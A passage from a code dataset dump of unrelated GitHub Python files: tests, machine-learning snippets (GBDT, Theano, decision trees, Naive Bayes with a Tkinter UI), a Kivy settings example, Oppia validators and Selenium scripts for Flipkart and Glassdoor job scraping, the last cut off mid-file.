UTCDateTime(year=now.year, month=now.month, day=now.day, hour=0)\n tomorrow = today + (24 * 60 * 60 - 1)\n query = service.parse(parse_qs(\"id=BOU\"))\n assert_equal(query.observatory_id, \"BOU\")\n assert_equal(query.starttime, today)\n assert_equal(query.endtime, tomorrow)\n assert_equal(query.elements, (\"X\", \"Y\", \"Z\", \"F\"))\n assert_equal(query.sampling_period, \"60\")\n assert_equal(query.output_format, \"iaga2002\")\n assert_equal(query.data_type, \"variation\")\n assert_raises(Exception, service.parse, parse_qs(\"/?id=bad\"))\n\n\ndef test_requests():\n \"\"\"WebService_test.test_requests()\n\n Use TestApp to confirm correct response status, status int,\n and content-type.\n \"\"\"\n app = webtest.TestApp(WebService(TestFactory()))\n # Check invalid request (bad values)\n response = app.get(\"/?id=bad\", expect_errors=True)\n assert_equal(response.status_int, 400)\n assert_equal(response.status, \"400 Bad Request\")\n assert_equal(response.content_type, \"text/plain\")\n # Check invalid request (duplicates)\n response = app.get(\"/?id=BOU&id=BOU\", expect_errors=True)\n assert_equal(response.status_int, 400)\n assert_equal(response.status, \"400 Bad Request\")\n assert_equal(response.content_type, \"text/plain\")\n # Check valid request (upper and lower case)\n response = app.get(\"/?id=BOU\")\n assert_equal(response.status_int, 200)\n assert_equal(response.status, \"200 OK\")\n assert_equal(response.content_type, \"text/plain\")\n # Test internal server error (use fake factory)\n app = webtest.TestApp(WebService(ErrorFactory(), error_stream=None))\n response = app.get(\"/?id=BOU\", expect_errors=True)\n assert_equal(response.status_int, 500)\n assert_equal(response.status, \"500 Internal Server Error\")\n assert_equal(response.content_type, \"text/plain\")\n","repo_name":"jmfee-usgs/geomag-algorithms","sub_path":"test/WebService_test.py","file_name":"WebService_test.py","file_ext":"py","file_size_in_byte":5687,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"24428745348","text":"import numpy as np\nimport random\nfrom CART import CART\n\nclass GBDT: # 1-regression for example\n def __init__(self, x, y, model='CART', error=0.001):\n \"\"\"\n Input\n x: data [N, M]\n y: label [N]\n model: base model, default is 'CART'\n error: training error\n\n \"\"\"\n self.M = 0\n self.G =[]\n E = 100000000000000\n y_m = y\n while E > error:\n if model == 'CART':\n self.G.append(CART(x, y_m, 'regression', max_depth=1))\n self.M += 1\n y_t = self.fit(x)\n E = np.sum((y_t-y)**2)\n y_m = y-y_t\n\n def fit(self, x):\n \"\"\"\n Input\n x: forecast data [N, M]\n\n Output\n y: forecast label [N]\n \"\"\"\n y = np.zeros((x.shape[0]))\n for m in range(self.M):\n y = y + self.G[m].fit(x)\n return y\n\n# X = np.array([[i+1] for i in range(10)])\n# Y = np.array([5.56,5.7,5.91,6.4,6.8,7.05,8.9,8.7,9,9.05])\n# model = GBDT(X, Y)\n# print(model.fit(X))","repo_name":"chenchuanchang/Machine-Learning","sub_path":"GBDT.py","file_name":"GBDT.py","file_ext":"py","file_size_in_byte":1040,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"99"} +{"seq_id":"43726826938","text":"from __future__ import annotations\n\nfrom core.domain import question_domain\nfrom core.jobs import job_utils\nfrom core.jobs.decorators import validation_decorators\nfrom core.jobs.transforms.validation import base_validation\nfrom core.jobs.types import model_property\nfrom core.platform import models\n\nfrom typing import Iterator, List, Optional, Tuple, Type, Union\n\nMYPY = False\nif MYPY: # pragma: no cover\n from mypy_imports import datastore_services\n from mypy_imports import question_models\n from mypy_imports import skill_models\n\n(question_models, skill_models) = models.Registry.import_models(\n [models.Names.QUESTION, models.Names.SKILL])\n\ndatastore_services = models.Registry.import_datastore_services()\n\n\n@validation_decorators.AuditsExisting(\n question_models.QuestionSnapshotMetadataModel)\nclass ValidateQuestionSnapshotMetadataModel(\n base_validation.BaseValidateCommitCmdsSchema[\n question_models.QuestionSnapshotMetadataModel\n ]\n):\n \"\"\"Overrides _get_change_domain_class for QuestionSnapshotMetadataModel.\"\"\"\n\n def _get_change_domain_class(\n self, input_model: question_models.QuestionSnapshotMetadataModel # pylint: disable=unused-argument\n ) -> Type[question_domain.QuestionChange]:\n \"\"\"Returns a change domain class.\n\n Args:\n input_model: datastore_services.Model. Entity to validate.\n\n Returns:\n question_domain.QuestionChange. A domain object class for the\n changes made by commit commands of the model.\n \"\"\"\n return question_domain.QuestionChange\n\n\n@validation_decorators.RelationshipsOf(question_models.QuestionSkillLinkModel)\ndef question_skill_link_model_relationships(\n model: Type[question_models.QuestionSkillLinkModel]\n) -> Iterator[\n Tuple[\n model_property.PropertyType,\n List[Type[Union[\n question_models.QuestionModel, skill_models.SkillModel\n ]]]\n ]\n]:\n \"\"\"Yields how the properties of the model relates to the ID of others.\"\"\"\n\n yield model.id, [question_models.QuestionModel]\n yield model.skill_id, [skill_models.SkillModel]\n\n\n@validation_decorators.RelationshipsOf(\n question_models.QuestionCommitLogEntryModel)\ndef question_commit_log_entry_model_relationships(\n model: Type[question_models.QuestionCommitLogEntryModel]\n) -> Iterator[\n Tuple[\n datastore_services.Property,\n List[Type[question_models.QuestionModel]]\n ]\n]:\n \"\"\"Yields how the properties of the model relates to the ID of others.\"\"\"\n\n yield model.question_id, [question_models.QuestionModel]\n\n\n@validation_decorators.RelationshipsOf(question_models.QuestionSummaryModel)\ndef question_summary_model_relationships(\n model: Type[question_models.QuestionSummaryModel]\n) -> Iterator[\n Tuple[\n model_property.PropertyType,\n List[Type[question_models.QuestionModel]]\n ]\n]:\n \"\"\"Yields how the properties of the model relates to the ID of others.\"\"\"\n\n yield model.id, [question_models.QuestionModel]\n\n\n@validation_decorators.AuditsExisting(\n question_models.QuestionCommitLogEntryModel)\nclass ValidateQuestionCommitLogEntryModel(\n base_validation.BaseValidateCommitCmdsSchema[\n question_models.QuestionCommitLogEntryModel\n ]\n):\n \"\"\"Overrides _get_change_domain_class for QuestionCommitLogEntryModel.\"\"\"\n\n # Here we use MyPy ignore because the signature of this method doesn't\n # match with super class's _get_change_domain_class() method.\n def _get_change_domain_class( # type: ignore[override]\n self, input_model: question_models.QuestionCommitLogEntryModel # pylint: disable=unused-argument\n ) -> Optional[Type[question_domain.QuestionChange]]:\n \"\"\"Returns a change domain class.\n\n Args:\n input_model: datastore_services.Model. Entity to validate.\n\n Returns:\n question_domain.QuestionChange. A domain object class for the\n changes made by commit commands of the model.\n \"\"\"\n model = job_utils.clone_model(input_model)\n\n if model.id.startswith('question'):\n return question_domain.QuestionChange\n else:\n return None\n","repo_name":"oppia/oppia","sub_path":"core/jobs/transforms/validation/question_validation.py","file_name":"question_validation.py","file_ext":"py","file_size_in_byte":4173,"program_lang":"python","lang":"en","doc_type":"code","stars":5242,"dataset":"github-code","pt":"99"} +{"seq_id":"43808538347","text":"\"\"\"\nConfig Example\n==============\n\nThis file contains a simple example of how the use the Kivy settings classes in\na real app. It allows the user to change the caption and font_size of the label\nand stores these changes.\n\nWhen the user next runs the programs, their changes are restored.\n\n\"\"\"\n\nfrom kivy.app import App\nfrom kivy.uix.settings import SettingsWithTabbedPanel\nfrom kivy.logger import Logger\nfrom kivy.lang import Builder\n\n# We first define our GUI\nkv = '''\nBoxLayout:\n orientation: 'vertical'\n Button:\n text: 'Configure app (or press F1)'\n on_release: app.open_settings()\n Label:\n id: label\n text: 'Hello'\n'''\n\n# This JSON defines entries we want to appear in our App configuration screen\njson = '''\n[\n {\n \"type\": \"string\",\n \"title\": \"Label caption\",\n \"desc\": \"Choose the text that appears in the label\",\n \"section\": \"My Label\",\n \"key\": \"text\"\n },\n {\n \"type\": \"numeric\",\n \"title\": \"Label font size\",\n \"desc\": \"Choose the font size the label\",\n \"section\": \"My Label\",\n \"key\": \"font_size\"\n }\n]\n'''\n\n\nclass MyApp(App):\n def build(self):\n \"\"\"\n Build and return the root widget.\n \"\"\"\n # The line below is optional. You could leave it out or use one of the\n # standard options, such as SettingsWithSidebar, SettingsWithSpinner\n # etc.\n self.settings_cls = MySettingsWithTabbedPanel\n\n # We apply the saved configuration settings or the defaults\n root = Builder.load_string(kv)\n label = root.ids.label\n label.text = self.config.get('My Label', 'text')\n label.font_size = float(self.config.get('My Label', 'font_size'))\n return root\n\n def build_config(self, config):\n \"\"\"\n Set the default values for the configs sections.\n \"\"\"\n config.setdefaults('My Label', {'text': 'Hello', 'font_size': 20})\n\n def build_settings(self, settings):\n \"\"\"\n Add our custom section to the default configuration object.\n \"\"\"\n # We use the string defined above for our JSON, but it could also be\n # loaded from a file as follows:\n # settings.add_json_panel('My Label', self.config, 'settings.json')\n settings.add_json_panel('My Label', self.config, data=json)\n\n def on_config_change(self, config, section, key, value):\n \"\"\"\n Respond to changes in the configuration.\n \"\"\"\n Logger.info(\"main.py: App.on_config_change: {0}, {1}, {2}, {3}\".format(\n config, section, key, value))\n\n if section == \"My Label\":\n if key == \"text\":\n self.root.ids.label.text = value\n elif key == 'font_size':\n self.root.ids.label.font_size = float(value)\n\n def close_settings(self, settings=None):\n \"\"\"\n The settings panel has been closed.\n \"\"\"\n Logger.info(\"main.py: App.close_settings: {0}\".format(settings))\n super(MyApp, self).close_settings(settings)\n\n\nclass MySettingsWithTabbedPanel(SettingsWithTabbedPanel):\n \"\"\"\n It is not usually necessary to create subclass of a settings panel. There\n are many built-in types that you can use out of the box\n (SettingsWithSidebar, SettingsWithSpinner etc.).\n\n You would only want to create a Settings subclass like this if you want to\n change the behavior or appearance of an existing Settings class.\n \"\"\"\n def on_close(self):\n Logger.info(\"main.py: MySettingsWithTabbedPanel.on_close\")\n\n def on_config_change(self, config, section, key, value):\n Logger.info(\n \"main.py: MySettingsWithTabbedPanel.on_config_change: \"\n \"{0}, {1}, {2}, {3}\".format(config, section, key, value))\n\n\nMyApp().run()\n","repo_name":"kivy/kivy","sub_path":"examples/settings/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3794,"program_lang":"python","lang":"en","doc_type":"code","stars":16451,"dataset":"github-code","pt":"99"} +{"seq_id":"15809953133","text":"from selenium.webdriver import Chrome\nfrom webdriver_manager.chrome import ChromeDriverManager\nfrom selenium.webdriver.common.keys import Keys\nimport time\n\n\ndriver=Chrome(ChromeDriverManager().install())\ndriver.get(\"https://www.flipkart.com\")\n\ndriver.find_element_by_xpath(\"//button[text()='✕']\").click()\n\ndriver.find_element_by_xpath(\"//span[text()='Cart']\").click()\ntime.sleep(3)\ndriver.back()\ntime.sleep(5)\ndriver.find_element_by_xpath(\"//span[text()='Cart']\").click()\ntime.sleep(5)\ndriver.quit()\n\n\n\n\n\n","repo_name":"lekasankarappan/PythonClasses","sub_path":"Locators/ByXpathtextfun.py","file_name":"ByXpathtextfun.py","file_ext":"py","file_size_in_byte":507,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"39770738084","text":"# !/usr/bin/python2.7\n# -*- coding: utf-8 -*-\n\"\"\"Removes terms shorter than N size from CSV file.\n\nUsage:\n removeTermsShorterThan.py [--category= --text=] (-l= | --length=) FILE\n removeTermsShorterThan.py -h | --help\n\nOptions:\n --category= Category index [default: 0].\n --text= Text index [default: 1].\n -l=, --length= Minimum size a term can have to remain in the\n file.\n FILE CSV file. Where the first row is the category\n and the second is the message. No headers\n required.\n -h, --help Show this.\n\n\"\"\"\n\n\nimport csv\nimport sys\n\nfrom docopt import docopt\n\n\ndef is_string_not_empty(s):\n return bool(s and s.strip())\n\n\ndef print_csv(category, text):\n if is_string_not_empty(text):\n print (\"{category},\\\"{text}\\\"\"\n .format(category=category, text=text.strip()))\n\n\ndef remove_short_words(k, old_string):\n new_string = ' '.join([w for w in old_string.split() if len(w) > k])\n return new_string\n\n\ndef main():\n reload(sys)\n sys.setdefaultencoding(\"utf8\")\n category_row = int(arguments[\"--category\"])\n text_row = int(arguments[\"--text\"])\n filename = arguments[\"FILE\"]\n length = int(arguments[\"--length\"])\n with open(filename, 'rb') as f:\n reader = csv.reader(f)\n try:\n for row in reader:\n text = remove_short_words(length, row[text_row])\n category = row[category_row]\n print_csv(category, text)\n except csv.Error as e:\n sys.exit('file %s, line %d: %s' % (filename, reader.line_num, e))\n\n\nif __name__ == \"__main__\":\n arguments = docopt(__doc__)\n # print(arguments)\n main()\n","repo_name":"tiagorodriguessimoes/MSc-Thesis-Tools","sub_path":"removeTermsShorterThan.py","file_name":"removeTermsShorterThan.py","file_ext":"py","file_size_in_byte":1840,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"24927740350","text":"#!/usr/bin/env python3\n# trunc8 did this\n\nfrom igraph import *\nimport igraph as ig\nimport matplotlib.pyplot as plt\n\ng = Graph()\ng.add_vertices(3)\ng.add_edges([(0,1), (1,2)])\ng.add_edges([(2, 0)])\ng.add_vertices(3)\ng.add_edges([(2, 3), (3, 4), (4, 5), (5, 3)])\ng.vs[\"name\"] = [\"Alice\", \"Bob\", \"Claire\", \"Dennis\", \"Esther\", \"Frank\", \"George\"]\ng.vs[\"age\"] = [25, 31, 18, 47, 22, 23, 50]\nprint(g)\n\ng = Graph.Lattice(dim=[10, 10], circular=False)\ng.vs[0][\"color\"]=\"blue\"\nlayout = g.layout(\"grid\")\n# g.vs[\"label\"] = g.vs[\"name\"]\nvisual_style = {}\nvisual_style[\"vertex_size\"] = 20\nvisual_style[\"layout\"] = layout\nvisual_style[\"vertex_label\"] = range(g.vcount())\n# visual_style[\"margin\"] = 20\nig.plot(g, **visual_style)\n\n# i=0\n# ig.plot(g, target=f'path_{i}.png', **visual_style)\n\n\n# fig, ax = plt.subplots()\n# ig.plot(g, layout=layout, target=ax)\n# plt.show()","repo_name":"trunc8/multirobot-efficient-search-path-planning","sub_path":"test-code-snippets/igraph_draw_grid.py","file_name":"igraph_draw_grid.py","file_ext":"py","file_size_in_byte":852,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"99"} +{"seq_id":"17531340558","text":"import sys\r\nimport os\r\nimport json\r\nimport requests\r\n\r\ncurrent = os.path.dirname(os.path.realpath(__file__))\r\nparent = os.path.dirname(current)\r\nsys.path.append(parent)\r\nfrom Actions import create_new_user_request as CNUR\r\n\r\n\r\nclass add_new_user_NG():\r\n def __init__(self,url,name):\r\n CNUR_obj = CNUR.new_users_request() \r\n self.response = self.create_new_user_NG(url,CNUR_obj,name)\r\n \r\n def create_new_user_NG(self,url,CNUR_obj,name): \r\n json_request_path = str(CNUR_obj.create_request_NG(name))\r\n f = open(json_request_path,'r') \r\n json_request = json.loads(f.read()) \r\n f.close() \r\n response = requests.post(url,json_request) \r\n return response \r\n ","repo_name":"atikiwiki5/bling","sub_path":"Tasks/create_new_user_NG.py","file_name":"create_new_user_NG.py","file_ext":"py","file_size_in_byte":771,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"167153880","text":"import theano.tensor as T\nimport numpy as np\nimport theano\nimport matplotlib.pyplot as plt\n\n\nclass Layer(object):\n \"\"\"\n define the layer like this :\n l1 = Layer(inputs, in_sizes, out_size, out_size, activation_function)\n l2 = Layer(l1.outputs, 10, 1, None)\n \"\"\"\n def __init__(self, inputs, in_sizes, out_sizes, activation_function):\n self.W = theano.shared(np.random.normal(0, 1, (in_sizes, out_sizes)))\n self.b = theano.shared(np.zeros((out_sizes,)) + 0.1)\n self.Wx_plus_b = T.dot(inputs, self.W) + self.b\n self.activation_function = activation_function\n if activation_function is None:\n self.outputs = self.Wx_plus_b\n else:\n self.outputs = self.activation_function(self.Wx_plus_b)\n\n\n# make up some fake data\nx_data = np.linspace(-1, 1, 300)[:, np.newaxis]\n# increase noise\nnoise = np.random.normal(0, 0.05, x_data.shape)\ny_data = np.square(x_data)-0.05 + noise # y=x^2 -0.05+noise\n# show the fake data\n# plt.scatter(x_data, y_data)\n# plt.show()\n\n# detemine th inputs dtype\nx = T.dmatrix(\"x\")\ny = T.dmatrix(\"y\")\n\n# add layers\nl_1 = Layer(x, 1, 10, T.nnet.relu)\nl_2 = Layer(l_1.outputs, 10, 1, None)\n\n# computer the cost\ncost = T.mean(T.square(l_2.outputs - y))\n\n# computer the gradient\ng_W1, g_b1, g_W2, g_b2 = T.grad(cost, [l_1.W, l_1.b, l_2.W, l_2.b])\n\n# applay gradient descent\nlearning_rate = 0.05\ntrain = theano.function(\n inputs=[x, y],\n outputs=[cost],\n updates=[(l_1.W, l_1.W - learning_rate * g_W1),\n (l_1.b, l_1.b - learning_rate * g_b1),\n (l_2.W, l_2.W - learning_rate * g_W2),\n (l_2.b, l_2.b - learning_rate * g_b2)])\n\n# prediction\npredict = theano.function(inputs=[x], outputs=l_2.outputs)\n\n# plot the fake data\nfig = plt.figure()\nax = fig.add_subplot(1, 1, 1)\nax.scatter(x_data, y_data)\nplt.ion() # open the two picture\nplt.show()\n\nfor i in range(1000):\n # training\n err = train(x_data, y_data)\n if i % 50 == 0:\n # visualization\n try:\n ax.lines.remove(lines[0])\n except Exception as ret:\n print(ret)\n prediction_value = predict(x_data)\n # plot the prediction\n lines = ax.plot(x_data, prediction_value, 'r-', lw=5)\n plt.pause(1)\n\n\n\n\n","repo_name":"jameszlj/Deep_Learning","sub_path":"Theano/fit_2_curve.py","file_name":"fit_2_curve.py","file_ext":"py","file_size_in_byte":2256,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"99"} +{"seq_id":"37448568616","text":"def analizar(archivos):\n archivo = open(archivos)\n destino = open(\"infectados.txt\",\"w\")\n for linea in archivo:\n linea = linea.strip()\n origen = open(linea)\n for linea2 in origen:\n if \"VIRUS\" in linea2:\n destino.write(linea+\"\\n\")\n origen.close()\n destino.close()\n archivo.close()\n\ndef ordenar(archivos):\n lista = []\n archivo = open(archivos)\n for linea in archivo:\n linea = linea.strip()\n lista.append(linea)\n archivo.close()\n lista.sort()\n destino = open(\"ordenados.txt\",\"w\")\n for nombre in lista:\n destino.write(nombre+\"\\n\")\n destino.close()\n \n \n","repo_name":"miguel-a-solis/miguel-a-solis","sub_path":"programming_complete/guia_textoyarchivos/ej3.py","file_name":"ej3.py","file_ext":"py","file_size_in_byte":671,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"37363306425","text":"import pandas as pd\nimport numpy as np\nimport utils as util\nimport sys\nfrom decision_tree import DecisionTree\nfrom ensemble import Bagging, RandomForests\n\n\ndef decision_tree(train, test, depth=8):\n model = DecisionTree()\n model.fit(train, depth=depth)\n return model.get_accuracy(train), model.get_accuracy(test)\n\n\ndef bagging(trainingSet, testSet, m=30, depth=8):\n model = Bagging(base_classifier=DecisionTree)\n model.fit(trainingSet, m=m, depth=depth)\n return model.get_accuracy(trainingSet), model.get_accuracy(testSet)\n\n\ndef random_forests(trainingSet, testSet, m=30, depth=8):\n model = RandomForests()\n model.fit(trainingSet, m=m, depth=depth)\n return model.get_accuracy(trainingSet), model.get_accuracy(testSet)\n\n\ndef get_model_name(model_idx):\n if modelIdx == 1:\n return 'DT'\n elif modelIdx == 2:\n return 'BT'\n elif modelIdx == 3:\n return 'RF'\n\n\nif __name__ == \"__main__\":\n training_data_filename = 'trainingSet.csv'\n test_data_filename = 'testSet.csv'\n modelIdx = 1\n\n if len(sys.argv) > 1:\n training_data_filename = sys.argv[1]\n test_data_filename = sys.argv[2]\n modelIdx = int(sys.argv[3])\n\n if util.final == True:\n columns, train = util.readFile(training_data_filename)\n _, test = util.readFile(test_data_filename)\n else:\n columns, train = util.readFile('test_' + training_data_filename)\n _, test = util.readFile('test_' + test_data_filename)\n\n columns = columns[:5] + [columns[-1]]\n train = train[columns]\n test = test[columns]\n\n print(train.head())\n\n if modelIdx == 1:\n training_ac, test_ac = decision_tree(train, test)\n elif modelIdx == 2:\n training_ac, test_ac = bagging(train, test)\n elif modelIdx == 3:\n training_ac, test_ac = random_forests(train, test)\n\n print('Training Accuracy {}: {:.2f}'.format(get_model_name(modelIdx), training_ac))\n print('Testing Accuracy {}: {:.2f}'.format(get_model_name(modelIdx), test_ac))\n","repo_name":"rakinhaider/Decision-Tree-and-Ensemble-Learning","sub_path":"trees.py","file_name":"trees.py","file_ext":"py","file_size_in_byte":2020,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"25194846653","text":"#coding=utf-8\r\n#from __future__ import print_function\r\n'''\r\n./clintontrump-data-for-ui/clintontrump.vocabulary\r\n./clintontrump-data-for-ui/clintontrump.bagofwords.train\r\n./clintontrump-data-for-ui/clintontrump.labels.train\r\n'''\r\nfrom Tkinter import *\r\nimport ttk\r\n\r\n\r\nimport time\r\n\r\nimport LoadData as ld\r\nimport NaiveBayes as n_b\r\n\r\n\r\n\r\ndef read_v():\r\n\r\n w_to_i = {}\r\n with open('./clintontrump-data-for-ui/clintontrump.vocabulary','rb') as source:\r\n for line in source:\r\n [idx, word] = line.rstrip(\"\\n\").split(\"\\t\")\r\n w_to_i[word[:-1]] = idx\r\n\r\n return w_to_i\r\n\r\n\r\ndef calculate(*args):\r\n try:\r\n testVar = tweet.get()\r\n #print (testVar)\r\n l = testVar.split(\" \")\r\n print(l)\r\n doc = []\r\n for word in l:\r\n if word in w_to_i.keys():\r\n doc.append(int(w_to_i[word]))\r\n print(doc)\r\n # test on based on Py & Pwy\r\n t1 = float(time.clock())\r\n #y_hat = naiveBayesModel.predictY_bernoulli_withtag(doc)\r\n y_hat = naiveBayesModel.predictY_bernoulli(doc)\r\n if y_hat == 0:\r\n ans = str0\r\n else:\r\n ans = str1\r\n print ('===========>'+ans)\r\n t2 = float(time.clock())\r\n print ('Bernoulli Model predict, using time %.4f s, \\n' % (t2-t1))\r\n predict.set(ans)\r\n\r\n except ValueError:\r\n pass\r\n\r\n\r\n\r\n\r\n\r\nprint ('************Welcome to the World of Bayes!***********\\n')\r\ntime.clock()\r\nt0 = float(time.clock())\r\n# # load data, and save as the format under NaiveBayes.\r\n#DIR_RESULT = \"./Result/\"\r\nDIR = \"./clintontrump-data-for-ui/\"\r\nFILENAME_BASIC = \"clintontrump.\"\r\n[vocList, wordNum] = ld.LoadData_vocabulary(DIR+FILENAME_BASIC+\"vocabulary\")\r\n[trainX, trainDocNum] = ld.LoadData_bagOfWords(DIR+FILENAME_BASIC+\"bagofwords.train\")\r\n#[devX, devDocNum] = ld.LoadData_bagOfWords(DIR+FILENAME_BASIC+\"bagofwords.dev\")\r\n#[testX, testDocNum] = ld.LoadData_bagOfWords(DIR+FILENAME_BASIC+\"bagofwords.test\")\r\nstr0 = \"realDonaldTrump\"\r\nstr1 = \"HillaryClinton\"\r\ntrainY = ld.LoadData_labels(DIR+FILENAME_BASIC+\"labels.train\", str0)\r\ndevY = ld.LoadData_labels(DIR+FILENAME_BASIC+\"labels.dev\", str0)\r\nt1 = float(time.clock())\r\nprint ('Loading data File. using time %.4f s, \\n' % (t1-t0))\r\nt2 = float(time.clock())\r\n# # define NaiveBayes instance, and calc prior P(y)\r\nnaiveBayesModel = n_b.NAIVE_BAYES_MODEL(wordNum, trainDocNum, trainX, trainY)\r\nnaiveBayesModel.estimatePy_MLE()\r\nprint ('Mode initializaion, using time %.4f s, \\n' % (t2-t1))\r\n#Predict the input\r\n###### Bernoulli model\r\n#LearnAndPredict(nbModel, str0, str1)\r\n\r\n# learn Pwy based on Bernoulli model\r\nt1 = float(time.clock())\r\nlapAlpha = 1\r\nnaiveBayesModel.estimatePwy_bernoulli()\r\nnaiveBayesModel.laplSmoothPwy_bernouli(lapAlpha)\r\nw_to_i = read_v()\r\nt2 = float(time.clock())\r\nprint ('Mode estimation, using time %.4f s, \\n' % (t2-t1))\r\n\r\n\r\n############ ui operation #########\r\nroot = Tk()\r\nprint('start GUI root')\r\nroot.title(\"Twitter classification\")\r\n\r\nsty = ttk.Style()\r\nsty.configure('my.TButton', font=('Helvetica', 30))\r\nsty1 = ttk.Style()\r\nsty1.configure('my.Label', font=('Helvetica', 30))\r\n\r\nmainframe = ttk.Frame(root, padding=\"40 40 12 12\")\r\nmainframe.grid(column=0, row=0, sticky=(N, W, E, S))\r\nmainframe.columnconfigure(0, weight=1)\r\nmainframe.rowconfigure(0, weight=1)\r\ntweet = StringVar()\r\npredict = StringVar()\r\ntweet_entry = ttk.Entry(mainframe, width=30, textvariable=tweet,font=('Arial', 30))\r\ntweet_entry.grid(column=2, row=1, sticky=(W, E))\r\nttk.Label(mainframe, textvariable=predict,font=('Arial', 30,'italic'),foreground='#1478e2').grid(column=2, row=3, sticky=(W, E))\r\nttk.Button(mainframe, text=\"Predict\", style='my.TButton', command=calculate).grid(column=2, row=5, sticky=W)\r\nttk.Label(mainframe, text=\"Input your twitter\", style='my.Label').grid(column=1, row=1, sticky=W)\r\nttk.Label(mainframe, text=\"Your twitter is more like\", style='my.Label').grid(column=1, row=3, sticky=E)\r\nttk.Label(mainframe, text=\"style\", style='my.Label').grid(column=3, row=3, sticky=W)\r\nfor child in mainframe.winfo_children(): child.grid_configure(padx=5, pady=5)\r\n\r\ntweet_entry.focus()\r\nroot.bind('', calculate)\r\nroot.mainloop()\r\n\r\nt2 = float(time.clock())\r\nprint ('Overall time %.4f s, \\n' % (t2-t1))\r\n","repo_name":"KaiboLiu/CS540-DB","sub_path":"Run_cs540_ui.py","file_name":"Run_cs540_ui.py","file_ext":"py","file_size_in_byte":4319,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"36943696038","text":"from selenium.common.exceptions import NoSuchElementException, ElementClickInterceptedException, \\\n StaleElementReferenceException\nfrom selenium import webdriver\nimport time\nimport pandas as pd\nfrom apps.core.logger import Logger\n\nclass GlassDoorScrapper:\n\n def __init__(self, run_id, data_path, mode, chrome_driver_path, sleep_time):\n self.run_id = run_id\n self.data_path = data_path\n #self.logger = Logger(self.run_id, 'GlassDoorScrapper', mode)\n\n # Initializing the webdriver\n options = webdriver.ChromeOptions()\n # Uncomment the line below if you'd like to scrape without a new Chrome window every time.\n # options.add_argument('headless')\n\n # Change the path to where chromedriver is in your home folder.\n self.driver = webdriver.Chrome(executable_path=chrome_driver_path, options=options)\n self.driver.set_window_size(1120, 1000)\n self.sleep = sleep_time\n\n def get_jobs(self, num_jobs, verbose, keyword = 'data science'):\n '''Gathers jobs as a dataframe, scraped from Glassdoor'''\n self.url = 'https://www.glassdoor.com/Job/jobs.htm?suggestCount=0&suggestChosen=false&clickSource=searchBtn&typedKeyword='+keyword+'&sc.keyword='+keyword+'&locT=&locId=&jobType='\n print(self.url)\n self.driver.get(self.url)\n jobs = []\n\n while len(jobs) < num_jobs: # If true, should be still looking for new jobs.\n # Let the page load. Change this number based on your internet speed.\n # Or, wait until the webpage is loaded, instead of hardcoding it.\n time.sleep(self.sleep)\n\n # Test for the \"Sign Up\" prompt and get rid of it.\n try:\n self.driver.find_element_by_class_name(\"selected\").click()\n except ElementClickInterceptedException:\n pass\n except StaleElementReferenceException:\n pass\n\n time.sleep(.1)\n\n try:\n self.driver.find_element_by_xpath('//*[@class=\"SVGInline modal_closeIcon\"]').click()\n except NoSuchElementException:\n pass\n except StaleElementReferenceException:\n pass\n\n # Going through each job in this page\n\n job_buttons = self.driver.find_elements_by_xpath(\"//*[@class='jlGrid hover p-0 ']/li\")\n # Job Listing. These are the buttons we're going to click.\n print(job_buttons)\n for job_button in job_buttons:\n print(\"Progress: {}\".format(\"\" + str(len(jobs)) + \"/\" + str(num_jobs)))\n if len(jobs) >= num_jobs:\n break\n\n try:\n job_button.click() # You might\n print('job_button.click() # You might')\n except Exception as e:\n print(e)\n pass\n except StaleElementReferenceException:\n pass\n\n time.sleep(1)\n collected_successfully = False\n\n while not collected_successfully:\n try:\n xpath = '*//div[@class=\"empWrapper ctasTest\"]/div/div'\n company_name = self.driver.find_element_by_xpath(xpath+'[1]').text\n location = self.driver.find_element_by_xpath(xpath+'[3]').text\n job_title = self.driver.find_element_by_xpath(xpath+'[2]').text\n job_description = self.driver.find_element_by_xpath('*//div[@class=\"jobDescriptionContent desc\"]').text\n collected_successfully = True\n print('84')\n except StaleElementReferenceException:\n pass\n except:\n time.sleep(5)\n\n try:\n salary_estimate = self.driver.find_element_by_xpath(xpath+'[4]/span').text\n print('92')\n except NoSuchElementException:\n salary_estimate = -1 # You need to set a \"not found value. It's important.\"\n except StaleElementReferenceException:\n pass\n\n\n try:\n rating = self.driver.find_element_by_xpath(xpath+'[1]/span').text\n print('101')\n except NoSuchElementException:\n rating = -1 # You need to set a \"not found value. It's important.\"\n except StaleElementReferenceException:\n pass\n\n # Printing for debugging\n if verbose:\n print(\"Job Title: {}\".format(job_title))\n print(\"Salary Estimate: {}\".format(salary_estimate))\n print(\"Job Description: {}\".format(job_description[:500]))\n print(\"Rating: {}\".format(rating))\n print(\"Company Name: {}\".format(company_name))\n print(\"Location: {}\".format(location))\n\n # Going to the Company tab...\n # clicking on this:\n #
Company
\n try:\n self.driver.find_element_by_xpath('*//div[@class=\"tab\" and @data-tab-type=\"overview\"]').click()\n print('121')\n\n try:\n #
\n # \n # San Francisco, CA\n #
